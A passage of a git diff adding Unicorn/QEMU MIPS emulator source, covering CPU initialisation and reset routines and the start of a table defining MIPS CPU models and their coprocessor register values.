tcg_global_mem_new_i32(tcg_ctx, TCG_AREG0, + // offsetof(CPUMIPSState, active_fpu.fcr0), + // "fcr0"); + tcg_ctx->fpu_fcr31 = tcg_global_mem_new_i32(tcg_ctx, TCG_AREG0, + offsetof(CPUMIPSState, active_fpu.fcr31), + "fcr31"); + uc->init_tcg = true; +} + +#include "translate_init.c" + +MIPSCPU *cpu_mips_init(struct uc_struct *uc, const char *cpu_model) +{ + MIPSCPU *cpu; + CPUMIPSState *env; + const mips_def_t *def; + + def = cpu_mips_find_by_name(cpu_model); + if (!def) + return NULL; + cpu = MIPS_CPU(uc, object_new(uc, TYPE_MIPS_CPU)); + env = &cpu->env; + env->cpu_model = def; + +#ifndef CONFIG_USER_ONLY + mmu_init(env, def); +#endif + fpu_init(env, def); + mvp_init(env, def); + + object_property_set_bool(uc, OBJECT(cpu), true, "realized", NULL); + + return cpu; +} + +void cpu_state_reset(CPUMIPSState *env) +{ + MIPSCPU *cpu = mips_env_get_cpu(env); + CPUState *cs = CPU(cpu); + + /* Reset registers to their default values */ + env->CP0_PRid = env->cpu_model->CP0_PRid; + env->CP0_Config0 = env->cpu_model->CP0_Config0; +#ifdef TARGET_WORDS_BIGENDIAN + env->CP0_Config0 |= (1 << CP0C0_BE); +#endif + env->CP0_Config1 = env->cpu_model->CP0_Config1; + env->CP0_Config2 = env->cpu_model->CP0_Config2; + env->CP0_Config3 = env->cpu_model->CP0_Config3; + env->CP0_Config4 = env->cpu_model->CP0_Config4; + env->CP0_Config4_rw_bitmask = env->cpu_model->CP0_Config4_rw_bitmask; + env->CP0_Config5 = env->cpu_model->CP0_Config5; + env->CP0_Config5_rw_bitmask = env->cpu_model->CP0_Config5_rw_bitmask; + env->CP0_Config6 = env->cpu_model->CP0_Config6; + env->CP0_Config7 = env->cpu_model->CP0_Config7; + env->CP0_LLAddr_rw_bitmask = env->cpu_model->CP0_LLAddr_rw_bitmask + << env->cpu_model->CP0_LLAddr_shift; + env->CP0_LLAddr_shift = env->cpu_model->CP0_LLAddr_shift; + env->SYNCI_Step = env->cpu_model->SYNCI_Step; + env->CCRes = env->cpu_model->CCRes; + env->CP0_Status_rw_bitmask = env->cpu_model->CP0_Status_rw_bitmask; + env->CP0_TCStatus_rw_bitmask = env->cpu_model->CP0_TCStatus_rw_bitmask; + env->CP0_SRSCtl = env->cpu_model->CP0_SRSCtl; + env->current_tc = 0; + env->SEGBITS = env->cpu_model->SEGBITS; + env->SEGMask = (target_ulong)((1ULL << env->cpu_model->SEGBITS) - 1); +#if defined(TARGET_MIPS64) + if (env->cpu_model->insn_flags & ISA_MIPS3) { + env->SEGMask |= 3ULL << 62; + } +#endif + env->PABITS = env->cpu_model->PABITS; + env->PAMask = (target_ulong)((1ULL << env->cpu_model->PABITS) - 1); + env->CP0_SRSConf0_rw_bitmask = env->cpu_model->CP0_SRSConf0_rw_bitmask; + env->CP0_SRSConf0 = env->cpu_model->CP0_SRSConf0; + env->CP0_SRSConf1_rw_bitmask = env->cpu_model->CP0_SRSConf1_rw_bitmask; + env->CP0_SRSConf1 = env->cpu_model->CP0_SRSConf1; + env->CP0_SRSConf2_rw_bitmask = env->cpu_model->CP0_SRSConf2_rw_bitmask; + env->CP0_SRSConf2 = env->cpu_model->CP0_SRSConf2; + env->CP0_SRSConf3_rw_bitmask = env->cpu_model->CP0_SRSConf3_rw_bitmask; + env->CP0_SRSConf3 = env->cpu_model->CP0_SRSConf3; + env->CP0_SRSConf4_rw_bitmask = env->cpu_model->CP0_SRSConf4_rw_bitmask; + env->CP0_SRSConf4 = env->cpu_model->CP0_SRSConf4; + env->CP0_PageGrain_rw_bitmask = env->cpu_model->CP0_PageGrain_rw_bitmask; + env->CP0_PageGrain = env->cpu_model->CP0_PageGrain; + env->active_fpu.fcr0 = env->cpu_model->CP1_fcr0; + env->msair = env->cpu_model->MSAIR; + env->insn_flags = env->cpu_model->insn_flags; + +#if defined(CONFIG_USER_ONLY) + env->CP0_Status = (MIPS_HFLAG_UM << CP0St_KSU); +# ifdef TARGET_MIPS64 + /* Enable 64-bit register mode. */ + env->CP0_Status |= (1 << CP0St_PX); +# endif +# ifdef TARGET_ABI_MIPSN64 + /* Enable 64-bit address mode. */ + env->CP0_Status |= (1 << CP0St_UX); +# endif + /* Enable access to the CPUNum, SYNCI_Step, CC, and CCRes RDHWR + hardware registers. */ + env->CP0_HWREna |= 0x0000000F; + if (env->CP0_Config1 & (1 << CP0C1_FP)) { + env->CP0_Status |= (1 << CP0St_CU1); + } + if (env->CP0_Config3 & (1 << CP0C3_DSPP)) { + env->CP0_Status |= (1 << CP0St_MX); + } +# if defined(TARGET_MIPS64) + /* For MIPS64, init FR bit to 1 if FPU unit is there and bit is writable. */ + if ((env->CP0_Config1 & (1 << CP0C1_FP)) && + (env->CP0_Status_rw_bitmask & (1 << CP0St_FR))) { + env->CP0_Status |= (1 << CP0St_FR); + } +# endif +#else + if (env->hflags & MIPS_HFLAG_BMASK) { + /* If the exception was raised from a delay slot, + come back to the jump. */ + env->CP0_ErrorEPC = env->active_tc.PC - 4; + } else { + env->CP0_ErrorEPC = env->active_tc.PC; + } + env->active_tc.PC = (int32_t)0xBFC00000; + env->CP0_Random = env->tlb->nb_tlb - 1; + env->tlb->tlb_in_use = env->tlb->nb_tlb; + env->CP0_Wired = 0; + env->CP0_EBase = (cs->cpu_index & 0x3FF); + env->CP0_EBase |= 0x80000000; + env->CP0_Status = (1 << CP0St_BEV) | (1 << CP0St_ERL); + /* vectored interrupts not implemented, timer on int 7, + no performance counters. */ + env->CP0_IntCtl = 0xe0000000; + { + int i; + + for (i = 0; i < 7; i++) { + env->CP0_WatchLo[i] = 0; + env->CP0_WatchHi[i] = 0x80000000; + } + env->CP0_WatchLo[7] = 0; + env->CP0_WatchHi[7] = 0; + } + /* Count register increments in debug mode, EJTAG version 1 */ + env->CP0_Debug = (1 << CP0DB_CNT) | (0x1 << CP0DB_VER); + + cpu_mips_store_count(env, 1); + + if (env->CP0_Config3 & (1 << CP0C3_MT)) { + int i; + + /* Only TC0 on VPE 0 starts as active. */ + for (i = 0; i < ARRAY_SIZE(env->tcs); i++) { + env->tcs[i].CP0_TCBind = cs->cpu_index << CP0TCBd_CurVPE; + env->tcs[i].CP0_TCHalt = 1; + } + env->active_tc.CP0_TCHalt = 1; + cs->halted = 1; + + if (cs->cpu_index == 0) { + /* VPE0 starts up enabled. */ + env->mvp->CP0_MVPControl |= (1 << CP0MVPCo_EVP); + env->CP0_VPEConf0 |= (1 << CP0VPEC0_MVP) | (1 << CP0VPEC0_VPA); + + /* TC0 starts up unhalted. */ + cs->halted = 0; + env->active_tc.CP0_TCHalt = 0; + env->tcs[0].CP0_TCHalt = 0; + /* With thread 0 active. */ + env->active_tc.CP0_TCStatus = (1 << CP0TCSt_A); + env->tcs[0].CP0_TCStatus = (1 << CP0TCSt_A); + } + } + if (env->CP0_Config1 & (1 << CP0C1_FP)) { + env->CP0_Status |= (1 << CP0St_CU1); + } +#endif + if ((env->insn_flags & ISA_MIPS32R6) && + (env->active_fpu.fcr0 & (1 << FCR0_F64))) { + /* Status.FR = 0 mode in 64-bit FPU not allowed in R6 */ + env->CP0_Status |= (1 << CP0St_FR); + } + + /* MSA */ + if (env->CP0_Config3 & (1 << CP0C3_MSAP)) { + msa_reset(env); + } + + compute_hflags(env); + cs->exception_index = EXCP_NONE; +} + +void restore_state_to_opc(CPUMIPSState *env, TranslationBlock *tb, int pc_pos) +{ + TCGContext *tcg_ctx = env->uc->tcg_ctx; + env->active_tc.PC = tcg_ctx->gen_opc_pc[pc_pos]; + env->hflags &= ~MIPS_HFLAG_BMASK; + env->hflags |= tcg_ctx->gen_opc_hflags[pc_pos]; + switch (env->hflags & MIPS_HFLAG_BMASK_BASE) { + case MIPS_HFLAG_BR: + break; + case MIPS_HFLAG_BC: + case MIPS_HFLAG_BL: + case MIPS_HFLAG_B: + env->btarget = tcg_ctx->gen_opc_btarget[pc_pos]; + break; + } +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/translate_init.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/translate_init.c new file mode 100644 index 0000000..7178d00 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/translate_init.c @@ -0,0 +1,948 @@ +/* + * MIPS emulation for qemu: CPU initialisation routines. + * + * Copyright (c) 2004-2005 Jocelyn Mayer + * Copyright (c) 2007 Herve Poussineau + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +/* CPU / CPU family specific config register values. */ + +/* Have config1, uncached coherency */ +#define MIPS_CONFIG0 \ + ((1U << CP0C0_M) | (0x2 << CP0C0_K0)) + +/* Have config2, no coprocessor2 attached, no MDMX support attached, + no performance counters, watch registers present, + no code compression, EJTAG present, no FPU */ +#define MIPS_CONFIG1 \ +((1U << CP0C1_M) | \ + (0 << CP0C1_C2) | (0 << CP0C1_MD) | (0 << CP0C1_PC) | \ + (1 << CP0C1_WR) | (0 << CP0C1_CA) | (1 << CP0C1_EP) | \ + (0 << CP0C1_FP)) + +/* Have config3, no tertiary/secondary caches implemented */ +#define MIPS_CONFIG2 \ +((1U << CP0C2_M)) + +/* No config4, no DSP ASE, no large physaddr (PABITS), + no external interrupt controller, no vectored interrupts, + no 1kb pages, no SmartMIPS ASE, no trace logic */ +#define MIPS_CONFIG3 \ +((0 << CP0C3_M) | (0 << CP0C3_DSPP) | (0 << CP0C3_LPA) | \ + (0 << CP0C3_VEIC) | (0 << CP0C3_VInt) | (0 << CP0C3_SP) | \ + (0 << CP0C3_SM) | (0 << CP0C3_TL)) +#define MIPS_CONFIG4 \ +((0 << CP0C4_M)) + +#define MIPS_CONFIG5 \ +((0 << CP0C5_M)) + +/* MMU types, the first four entries have the same layout as the + CP0C0_MT field. */ +enum mips_mmu_types { + MMU_TYPE_NONE, + MMU_TYPE_R4000, + MMU_TYPE_RESERVED, + MMU_TYPE_FMT, + MMU_TYPE_R3000, + MMU_TYPE_R6000, + MMU_TYPE_R8000 +}; + +struct mips_def_t { + const char *name; + int32_t CP0_PRid; + int32_t CP0_Config0; + int32_t CP0_Config1; + int32_t CP0_Config2; + int32_t CP0_Config3; + int32_t CP0_Config4; + int32_t CP0_Config4_rw_bitmask; + int32_t CP0_Config5; + int32_t CP0_Config5_rw_bitmask; + int32_t CP0_Config6; + int32_t CP0_Config7; + target_ulong CP0_LLAddr_rw_bitmask; + int CP0_LLAddr_shift; + int32_t SYNCI_Step; + int32_t CCRes; + int32_t CP0_Status_rw_bitmask; + int32_t CP0_TCStatus_rw_bitmask; + int32_t CP0_SRSCtl; + int32_t CP1_fcr0; + int32_t MSAIR; + int32_t SEGBITS; + int32_t PABITS; + int32_t CP0_SRSConf0_rw_bitmask; + int32_t CP0_SRSConf0; + int32_t CP0_SRSConf1_rw_bitmask; + int32_t CP0_SRSConf1; + int32_t CP0_SRSConf2_rw_bitmask; + int32_t CP0_SRSConf2; + int32_t CP0_SRSConf3_rw_bitmask; + int32_t CP0_SRSConf3; + int32_t CP0_SRSConf4_rw_bitmask; + int32_t CP0_SRSConf4; + int32_t CP0_PageGrain_rw_bitmask; + int32_t CP0_PageGrain; + int insn_flags; + enum mips_mmu_types mmu_type; +}; + +/*****************************************************************************/ +/* MIPS CPU definitions */ +static const mips_def_t mips_defs[] = +{ + { + "4Kc", + 0x00018000, + MIPS_CONFIG0 | (MMU_TYPE_R4000 << CP0C0_MT), + MIPS_CONFIG1 | (15 << CP0C1_MMU) | + (0 << CP0C1_IS) | (3 << CP0C1_IL) | (1 << CP0C1_IA) | + (0 << CP0C1_DS) | (3 << CP0C1_DL) | (1 << CP0C1_DA) | + (0 << CP0C1_CA), + MIPS_CONFIG2, + MIPS_CONFIG3, + 0,0, + 0,0, + 0, + 0, + 0, + 4, + 32, + 2, + 0x1278FF17, + 0, + 0, + 0, + 0, + 32, + 32, + 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, + CPU_MIPS32, + MMU_TYPE_R4000, + }, + { + "4Km", + 0x00018300, + /* Config1 implemented, fixed mapping MMU, + no virtual icache, uncached coherency. */ + MIPS_CONFIG0 | (MMU_TYPE_FMT << CP0C0_MT), + MIPS_CONFIG1 | + (0 << CP0C1_IS) | (3 << CP0C1_IL) | (1 << CP0C1_IA) | + (0 << CP0C1_DS) | (3 << CP0C1_DL) | (1 << CP0C1_DA) | + (1 << CP0C1_CA), + MIPS_CONFIG2, + MIPS_CONFIG3, + 0,0, + 0,0, + 0, + 0, + + 0, + 4, + 32, + 2, + 0x1258FF17, + 0, + + 0, + 0, + 0, + 32, + 32, + 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, + CPU_MIPS32 | ASE_MIPS16, + MMU_TYPE_FMT, + }, + { + "4KEcR1", + 0x00018400, + MIPS_CONFIG0 | (MMU_TYPE_R4000 << CP0C0_MT), + MIPS_CONFIG1 | (15 << CP0C1_MMU) | + (0 << CP0C1_IS) | (3 << CP0C1_IL) | (1 << CP0C1_IA) | + (0 << CP0C1_DS) | (3 << CP0C1_DL) | (1 << CP0C1_DA) | + (0 << CP0C1_CA), + MIPS_CONFIG2, + MIPS_CONFIG3, + 0,0, + 0,0, + 0, + 0, + 0, + 4, + 32, + 2, + 0x1278FF17, + 0, + 0, + 0, + 0, + 32, + 32, + 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, + CPU_MIPS32, + MMU_TYPE_R4000, + }, + { + "4KEmR1", + 0x00018500, + MIPS_CONFIG0 | (MMU_TYPE_FMT << CP0C0_MT), + MIPS_CONFIG1 | + (0 << CP0C1_IS) | (3 << CP0C1_IL) | (1 << CP0C1_IA) | + (0 << CP0C1_DS) | (3 << CP0C1_DL) | (1 << CP0C1_DA) | + (1 << CP0C1_CA), + MIPS_CONFIG2, + MIPS_CONFIG3, + 0,0, + 0,0, + 0, + 0, + 0, + 4, + 32, + 2, + 0x1258FF17, + 0, + 0, + 0, + 0, + 32, + 32, + 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, + CPU_MIPS32 | ASE_MIPS16, + MMU_TYPE_FMT, + }, + { + "4KEc", + 0x00019000, + MIPS_CONFIG0 | (0x1 << CP0C0_AR) | + (MMU_TYPE_R4000 << CP0C0_MT), + MIPS_CONFIG1 | (15 << CP0C1_MMU) | + (0 << CP0C1_IS) | (3 << CP0C1_IL) | (1 << CP0C1_IA) | + (0 << CP0C1_DS) | (3 << CP0C1_DL) | (1 << CP0C1_DA) | + (0 << CP0C1_CA), + MIPS_CONFIG2, + MIPS_CONFIG3 | (0 << CP0C3_VInt), + 0,0, + 0,0, + 0, + 0, + 0, + 4, + 32, + 2, + 0x1278FF17, + 0, + 0, + 0, + 0, + 32, + 32, + 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, + CPU_MIPS32R2, + MMU_TYPE_R4000, + }, + { + "4KEm", + 0x00019100, + MIPS_CONFIG0 | (0x1 << CP0C0_AR) | + (MMU_TYPE_FMT << CP0C0_MT), + MIPS_CONFIG1 | + (0 << CP0C1_IS) | (3 << CP0C1_IL) | (1 << CP0C1_IA) | + (0 << CP0C1_DS) | (3 << CP0C1_DL) | (1 << CP0C1_DA) | + (1 << CP0C1_CA), + MIPS_CONFIG2, + MIPS_CONFIG3, + 0,0, + 0,0, + 0, + 0, + 0, + 4, + 32, + 2, + 0x1258FF17, + 0, + 0, + 0, + 0, + 32, + 32, + 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, + CPU_MIPS32R2 | ASE_MIPS16, + MMU_TYPE_FMT, + }, + { + "24Kc", + 0x00019300, + MIPS_CONFIG0 | (0x1 << CP0C0_AR) | + (MMU_TYPE_R4000 << CP0C0_MT), + MIPS_CONFIG1 | (15 << CP0C1_MMU) | + (0 << CP0C1_IS) | (3 << CP0C1_IL) | (1 << CP0C1_IA) | + (0 << CP0C1_DS) | (3 << CP0C1_DL) | (1 << CP0C1_DA) | + (1 << CP0C1_CA), + MIPS_CONFIG2, + MIPS_CONFIG3 | (0 << CP0C3_VInt), + 0,0, + 0,0, + 0, + 0, + 0, + 4, + 32, + 2, + /* No DSP implemented. */ + 0x1278FF1F, + 0, + 0, + 0, + 32, + 32, + 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, + CPU_MIPS32R2 | ASE_MIPS16, + MMU_TYPE_R4000, + }, + { + "24Kf", + 0x00019300, + MIPS_CONFIG0 | (0x1 << CP0C0_AR) | + (MMU_TYPE_R4000 << CP0C0_MT), + MIPS_CONFIG1 | (1 << CP0C1_FP) | (15 << CP0C1_MMU) | + (0 << CP0C1_IS) | (3 << CP0C1_IL) | (1 << CP0C1_IA) | + (0 << CP0C1_DS) | (3 << CP0C1_DL) | (1 << CP0C1_DA) | + (1 << CP0C1_CA), + MIPS_CONFIG2, + MIPS_CONFIG3 | (0 << CP0C3_VInt), + 0,0, + 0,0, + 0, + 0, + 0, + 4, + 32, + 2, + /* No DSP implemented. */ + 0x3678FF1F, + 0, + 0, + (1 << FCR0_F64) | (1 << FCR0_L) | (1 << FCR0_W) | + (1 << FCR0_D) | (1 << FCR0_S) | (0x93 << FCR0_PRID), + 0, + 32, + 32, + 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, + CPU_MIPS32R2 | ASE_MIPS16, + MMU_TYPE_R4000, + }, + { + "34Kf", + 0x00019500, + MIPS_CONFIG0 | (0x1 << CP0C0_AR) | + (MMU_TYPE_R4000 << CP0C0_MT), + MIPS_CONFIG1 | (1 << CP0C1_FP) | (15 << CP0C1_MMU) | + (0 << CP0C1_IS) | (3 << CP0C1_IL) | (1 << CP0C1_IA) | + (0 << CP0C1_DS) | (3 << CP0C1_DL) | (1 << CP0C1_DA) | + (1 << CP0C1_CA), + MIPS_CONFIG2, + MIPS_CONFIG3 | (1 << CP0C3_VInt) | (1 << CP0C3_MT) | + (1 << CP0C3_DSPP), + 0, + 0, + 32, + 2, + 0x3778FF1F, + (0 << CP0TCSt_TCU3) | (0 << CP0TCSt_TCU2) | + (1 << CP0TCSt_TCU1) | (1 << CP0TCSt_TCU0) | + (0 << CP0TCSt_TMX) | (1 << CP0TCSt_DT) | + (1 << CP0TCSt_DA) | (1 << CP0TCSt_A) | + (0x3 << CP0TCSt_TKSU) | (1 << CP0TCSt_IXMT) | + (0xff << CP0TCSt_TASID), + (0xf << CP0SRSCtl_HSS), + 0, + 32, + 32, + (1 << FCR0_F64) | (1 << FCR0_L) | (1 << FCR0_W) | + (1 << FCR0_D) | (1 << FCR0_S) | (0x95 << FCR0_PRID), + 0x3fffffff, + (1U << CP0SRSC0_M) | (0x3fe << CP0SRSC0_SRS3) | + (0x3fe << CP0SRSC0_SRS2) | (0x3fe << CP0SRSC0_SRS1), + 0x3fffffff, + (1U << CP0SRSC1_M) | (0x3fe << CP0SRSC1_SRS6) | + (0x3fe << CP0SRSC1_SRS5) | (0x3fe << CP0SRSC1_SRS4), + 0x3fffffff, + (1U << CP0SRSC2_M) | (0x3fe << CP0SRSC2_SRS9) | + (0x3fe << CP0SRSC2_SRS8) | (0x3fe << CP0SRSC2_SRS7), + 0x3fffffff, + (1U << CP0SRSC3_M) | (0x3fe << CP0SRSC3_SRS12) | + (0x3fe << CP0SRSC3_SRS11) | (0x3fe << CP0SRSC3_SRS10), + 0x3fffffff, + (0x3fe << CP0SRSC4_SRS15) | + (0x3fe << CP0SRSC4_SRS14) | (0x3fe << CP0SRSC4_SRS13), + 0,0, + CPU_MIPS32R2 | ASE_MIPS16 | ASE_DSP | ASE_MT, + MMU_TYPE_R4000, + }, + { + "74Kf", + 0x00019700, + MIPS_CONFIG0 | (0x1 << CP0C0_AR) | + (MMU_TYPE_R4000 << CP0C0_MT), + MIPS_CONFIG1 | (1 << CP0C1_FP) | (15 << CP0C1_MMU) | + (0 << CP0C1_IS) | (3 << CP0C1_IL) | (1 << CP0C1_IA) | + (0 << CP0C1_DS) | (3 << CP0C1_DL) | (1 << CP0C1_DA) | + (1 << CP0C1_CA), + MIPS_CONFIG2, + MIPS_CONFIG3 | (1 << CP0C3_DSP2P) | (1 << CP0C3_DSPP) | + (0 << CP0C3_VInt), + 0,0, + 0,0, + 0, + 0, + 0, + 4, + 32, + 2, + 0x3778FF1F, + 0, + 0, + (1 << FCR0_F64) | (1 << FCR0_L) | (1 << FCR0_W) | + (1 << FCR0_D) | (1 << FCR0_S) | (0x93 << FCR0_PRID), + 0, + 32, + 32, + 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, + CPU_MIPS32R2 | ASE_MIPS16 | ASE_DSP | ASE_DSPR2, + MMU_TYPE_R4000, + }, + { + /* A generic CPU providing MIPS32 Release 5 features. + FIXME: Eventually this should be replaced by a real CPU model. */ + "mips32r5-generic", + 0x00019700, + MIPS_CONFIG0 | (0x1 << CP0C0_AR) | + (MMU_TYPE_R4000 << CP0C0_MT), + MIPS_CONFIG1 | (1 << CP0C1_FP) | (15 << CP0C1_MMU) | + (0 << CP0C1_IS) | (3 << CP0C1_IL) | (1 << CP0C1_IA) | + (0 << CP0C1_DS) | (3 << CP0C1_DL) | (1 << CP0C1_DA) | + (1 << CP0C1_CA), + MIPS_CONFIG2, + MIPS_CONFIG3 | (1U << CP0C3_M) | (1 << CP0C3_MSAP), + MIPS_CONFIG4 | (1U << CP0C4_M), + 0, + MIPS_CONFIG5 | (1 << CP0C5_UFR), + (0 << CP0C5_M) | (1 << CP0C5_K) | + (1 << CP0C5_CV) | (0 << CP0C5_EVA) | + (1 << CP0C5_MSAEn) | (1 << CP0C5_UFR) | + (0 << CP0C5_NFExists), + 0, + 0, + 0, + 4, + 32, + 2, + 0x3778FF1F, + 0, + 0, + (1 << FCR0_UFRP) | (1 << FCR0_F64) | (1 << FCR0_L) | + (1 << FCR0_W) | (1 << FCR0_D) | (1 << FCR0_S) | + (0x93 << FCR0_PRID), + 0, + 32, + 32, + 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, + CPU_MIPS32R5 | ASE_MIPS16 | ASE_MSA, + MMU_TYPE_R4000, + }, +#if defined(TARGET_MIPS64) + { + "R4000", + 0x00000400, + /* No L2 cache, icache size 8k, dcache size 8k, uncached coherency. */ + (1 << 17) | (0x1 << 9) | (0x1 << 6) | (0x2 << CP0C0_K0), + /* Note: Config1 is only used internally, the R4000 has only Config0. */ + (1 << CP0C1_FP) | (47 << CP0C1_MMU), + 0, + 0, + 0,0, + 0,0, + 0, + 0, + 0xFFFFFFFF, + 4, + 16, + 2, + 0x3678FFFF, + 0, + 0, + /* The R4000 has a full 64bit FPU but doesn't use the fcr0 bits. */ + (0x5 << FCR0_PRID) | (0x0 << FCR0_REV), + 0, + 40, + 36, + 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, + CPU_MIPS3, + MMU_TYPE_R4000, + }, + { + "VR5432", + 0x00005400, + /* No L2 cache, icache size 8k, dcache size 8k, uncached coherency. */ + (1 << 17) | (0x1 << 9) | (0x1 << 6) | (0x2 << CP0C0_K0), + (1 << CP0C1_FP) | (47 << CP0C1_MMU), + 0, + 0, + 0,0, + 0,0, + 0, + 0, + 0xFFFFFFFFL, + 4, + 16, + 2, + 0x3678FFFF, + 0, + 0, + /* The VR5432 has a full 64bit FPU but doesn't use the fcr0 bits. */ + (0x54 << FCR0_PRID) | (0x0 << FCR0_REV), + 0, + 40, + 32, + 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, + CPU_VR54XX, + MMU_TYPE_R4000, + }, + { + "5Kc", + 0x00018100, + MIPS_CONFIG0 | (0x2 << CP0C0_AT) | + (MMU_TYPE_R4000 << CP0C0_MT), + MIPS_CONFIG1 | (31 << CP0C1_MMU) | + (1 << CP0C1_IS) | (4 << CP0C1_IL) | (1 << CP0C1_IA) | + (1 << CP0C1_DS) | (4 << CP0C1_DL) | (1 << CP0C1_DA) | + (1 << CP0C1_PC) | (1 << CP0C1_WR) | (1 << CP0C1_EP), + MIPS_CONFIG2, + MIPS_CONFIG3, + 0,0, + 0,0, + 0, + 0, + 0, + 4, + 32, + 2, + 0x32F8FFFF, + 0, + 0, + 0, + 0, + 42, + 36, + 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, + CPU_MIPS64, + MMU_TYPE_R4000, + }, + { + "5Kf", + 0x00018100, + MIPS_CONFIG0 | (0x2 << CP0C0_AT) | + (MMU_TYPE_R4000 << CP0C0_MT), + MIPS_CONFIG1 | (1 << CP0C1_FP) | (31 << CP0C1_MMU) | + (1 << CP0C1_IS) | (4 << CP0C1_IL) | (1 << CP0C1_IA) | + (1 << CP0C1_DS) | (4 << CP0C1_DL) | (1 << CP0C1_DA) | + (1 << CP0C1_PC) | (1 << CP0C1_WR) | (1 << CP0C1_EP), + MIPS_CONFIG2, + MIPS_CONFIG3, + 0,0, + 0,0, + 0, + 0, + + 0, + 4, + 32, + 2, + 0x36F8FFFF, + 0, + 0, + /* The 5Kf has F64 / L / W but doesn't use the fcr0 bits. */ + (1 << FCR0_D) | (1 << FCR0_S) | + (0x81 << FCR0_PRID) | (0x0 << FCR0_REV), + 0, + 42, + 36, + 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, + CPU_MIPS64, + MMU_TYPE_R4000, + }, + { + "20Kc", + /* We emulate a later version of the 20Kc, earlier ones had a broken + WAIT instruction. */ + 0x000182a0, + MIPS_CONFIG0 | (0x2 << CP0C0_AT) | + (MMU_TYPE_R4000 << CP0C0_MT) | (1 << CP0C0_VI), + MIPS_CONFIG1 | (1 << CP0C1_FP) | (47 << CP0C1_MMU) | + (2 << CP0C1_IS) | (4 << CP0C1_IL) | (3 << CP0C1_IA) | + (2 << CP0C1_DS) | (4 << CP0C1_DL) | (3 << CP0C1_DA) | + (1 << CP0C1_PC) | (1 << CP0C1_WR) | (1 << CP0C1_EP), + MIPS_CONFIG2, + MIPS_CONFIG3, + 0,.0, + 0,0, + 0, + 0, + 0, + 0, + 32, + 1, + 0x36FBFFFF, + 0, + 0, + /* The 20Kc has F64 / L / W but doesn't use the fcr0 bits. */ + (1 << FCR0_3D) | (1 << FCR0_PS) | + (1 << FCR0_D) | (1 << FCR0_S) | + (0x82 << FCR0_PRID) | (0x0 << FCR0_REV), + 0, + 40, + 36, + 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, + CPU_MIPS64 | ASE_MIPS3D, + MMU_TYPE_R4000, + }, + { + /* A generic CPU providing MIPS64 Release 2 features. + FIXME: Eventually this should be replaced by a real CPU model. */ + "MIPS64R2-generic", + 0x00010000, + MIPS_CONFIG0 | (0x1 << CP0C0_AR) | (0x2 << CP0C0_AT) | + (MMU_TYPE_R4000 << CP0C0_MT), + MIPS_CONFIG1 | (1 << CP0C1_FP) | (63 << CP0C1_MMU) | + (2 << CP0C1_IS) | (4 << CP0C1_IL) | (3 << CP0C1_IA) | + (2 << CP0C1_DS) | (4 << CP0C1_DL) | (3 << CP0C1_DA) | + (1 << CP0C1_PC) | (1 << CP0C1_WR) | (1 << CP0C1_EP), + MIPS_CONFIG2, + MIPS_CONFIG3 | (1 << CP0C3_LPA), + 0,0, + 0,0, + 0, + 0, + 0, + 0, + 32, + 2, + 0x36FBFFFF, + 0, + 0, + (1 << FCR0_F64) | (1 << FCR0_3D) | (1 << FCR0_PS) | + (1 << FCR0_L) | (1 << FCR0_W) | (1 << FCR0_D) | + (1 << FCR0_S) | (0x00 << FCR0_PRID) | (0x0 << FCR0_REV), + 0, + 42, + /* The architectural limit is 59, but we have hardcoded 36 bit + in some places... + 59, */ /* the architectural limit */ + 36, + 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, + CPU_MIPS64R2 | ASE_MIPS3D, + MMU_TYPE_R4000, + }, + { + /* A generic CPU supporting MIPS64 Release 6 ISA. + FIXME: Support IEEE 754-2008 FP and misaligned memory accesses. + Eventually this should be replaced by a real CPU model. */ + "MIPS64R6-generic", + 0x00010000, + MIPS_CONFIG0 | (0x2 << CP0C0_AR) | (0x2 << CP0C0_AT) | + (MMU_TYPE_R4000 << CP0C0_MT), + MIPS_CONFIG1 | (1 << CP0C1_FP) | (63 << CP0C1_MMU) | + (2 << CP0C1_IS) | (4 << CP0C1_IL) | (3 << CP0C1_IA) | + (2 << CP0C1_DS) | (4 << CP0C1_DL) | (3 << CP0C1_DA) | + (0 << CP0C1_PC) | (1 << CP0C1_WR) | (1 << CP0C1_EP), + MIPS_CONFIG2, + MIPS_CONFIG3 | (1 << CP0C3_RXI) | (1 << CP0C3_BP) | + (1 << CP0C3_BI) | (1 << CP0C3_ULRI) | (1U << CP0C3_M), + MIPS_CONFIG4 | (0xfc << CP0C4_KScrExist) | + (3 << CP0C4_IE) | (1 << CP0C4_M), + 0, + 0, + (1 << CP0C5_SBRI), + 0, + 0, + 0, + 0, + 32, + 2, + 0x30D8FFFF, + 0, + 0, + (1 << FCR0_F64) | (1 << FCR0_L) | (1 << FCR0_W) | + (1 << FCR0_D) | (1 << FCR0_S) | (0x00 << FCR0_PRID) | + (0x0 << FCR0_REV), + 0, + 42, + /* The architectural limit is 59, but we have hardcoded 36 bit + in some places... + 59, */ /* the architectural limit */ + 36, + 0,0, 0,0, 0,0, 0,0, 0,0, + (1 << CP0PG_IEC) | (1 << CP0PG_XIE) | + (1U << CP0PG_RIE), + 0, + CPU_MIPS64R6, + MMU_TYPE_R4000, + }, + { + "Loongson-2E", + 0x6302, + /*64KB I-cache and d-cache. 4 way with 32 bit cache line 